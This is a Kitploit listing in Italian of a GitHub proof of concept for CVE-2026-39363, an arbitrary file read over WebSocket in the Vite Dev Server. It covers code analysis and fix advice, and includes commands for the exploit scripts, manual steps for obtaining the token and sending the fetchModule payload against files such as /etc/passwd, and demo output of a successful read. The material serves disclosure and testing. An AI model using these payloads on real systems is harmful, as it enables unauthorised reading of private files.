Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39363 — Exploit per CVE-2026-39363, una vulnerabilità di lettura arbitraria di file WebSocket del Vite Dev Server, con script Python e Node.js per lo sfruttamento automatizzato e passaggi manuali. | Kitploit
Strumenti/GitHubGitHub/firebasky/cve-2026-39363
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

Exploit per CVE-2026-39363, una vulnerabilità di lettura arbitraria di file WebSocket del Vite Dev Server, con script Python e Node.js per lo sfruttamento automatizzato e passaggi manuali.

Vedi Repository
7116 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39363

Vulnerabilità di Lettura Arbitraria di File tramite WebSocket nel Vite Dev Server

Panoramica della Vulnerabilità

ProprietàInformazioni
ID CVECVE-2026-39363
ID GHSAGHSA-p9ff-h696-f583
Tipo di VulnerabilitàArbitrary File Read (Lettura Arbitraria di File)
Componente InteressatoVite Dev Server
Versioni InteressateVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Punteggio CVSSAlto
Versioni CorretteVite >= 6.2.3

Principio della Vulnerabilità

Problema Principale

La chiamata RPC WebSocket fetchModule del Vite Dev Server presenta una vulnerabilità di bypass dei controlli di sicurezza.

Analisi del Codice

Posizione del Codice Vulnerabile: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Punto critico della vulnerabilità: quando l'URL è file:// o non c'è importer
  // viene chiamato direttamente resolveId, senza eseguire il controllo isFileServingAllowed!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...continua l'elaborazione e restituisce il contenuto del file
}

Confronto dei Percorsi di Richiesta

┌─────────────────────────────────────────────────────────────────┐
│              Percorso Richiesta HTTP (con controlli di sicurezza)│
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCCATO                          │
│  (controlla server.fs.allow)                                    │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│              Percorso Richiesta WebSocket (bypass dei controlli) │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> resolveId diretto                │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> dipende dalla configurazione fs.allow│
│         │                                                       │
│         ▼                                                       │
│  Restituisce il contenuto del file (se fs.allow lo consente)    │
└─────────────────────────────────────────────────────────────────┘

Risultati Chiave

  1. Percorso HTTP: attraversa più livelli di controllo ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. Percorso WebSocket:

    • La funzione fetchModule non chiama isFileServingAllowed
    • La seconda linea di difesa, isFileLoadingAllowed in loadAndTransform, rimane attiva
    • Ma se la configurazione server.fs.allow è permissiva, è possibile leggere file arbitrari

Condizioni di Sfruttamento

  1. Vite Dev Server esposto sulla rete (ad esempio usando --host)
  2. Configurazione permissiva di server.fs.allow:
    • fs.allow: ['..'] - consente la lettura delle directory superiori
    • fs.allow: ['C:/'] - consente la lettura dell'intero disco C
    • fs.strict: false - nessuna restrizione
  3. Ottenere il wsToken (accedendo a /@vite/client)

Configurazione dell'Ambiente

# Clonare il repository
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Installare le dipendenze
npm install

# Avviare il Vite Dev Server (usando una configurazione permissiva per dimostrare la vulnerabilità)
npm run dev

Sfruttamento della Vulnerabilità

Metodo 1: Utilizzo dello Script Python

# Utilizzo di base (rilevamento automatico della porta)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Lettura di file esterni al progetto
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Specificare il token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Metodo 2: Utilizzo del POC Node.js

# Ottenere il wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Eseguire il POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Passaggi di Sfruttamento Manuale

  1. Ottenere il WebSocket Token:
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. Connessione WebSocket:
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. Inviare il payload:
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Dimostrazione

============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

Struttura dei File

CVE-2026-39363/
├── README.md           # Documento di analisi della vulnerabilità
├── exp.py              # Script exploit Python
├── poc.js              # POC Node.js
├── vite.config.js      # File di configurazione Vite (per la dimostrazione)
├── package.json        # Configurazione del progetto
├── src/                # Directory del codice sorgente
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Risorse statiche
└── index.html          # HTML di ingresso

Raccomandazioni per la Correzione

1. Aggiornare Vite

npm update vite
# oppure
npm install vite@latest

2. Limitare server.fs.allow

// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // consentire solo la directory root del progetto
    }
  }
})

3. Non Esporre il Dev Server

  • Non eseguire il Dev Server in ambiente di produzione
  • Evitare l'uso di --host per esporre il servizio
  • Utilizzare un firewall per limitare l'accesso

Riferimenti

Scarica lo strumento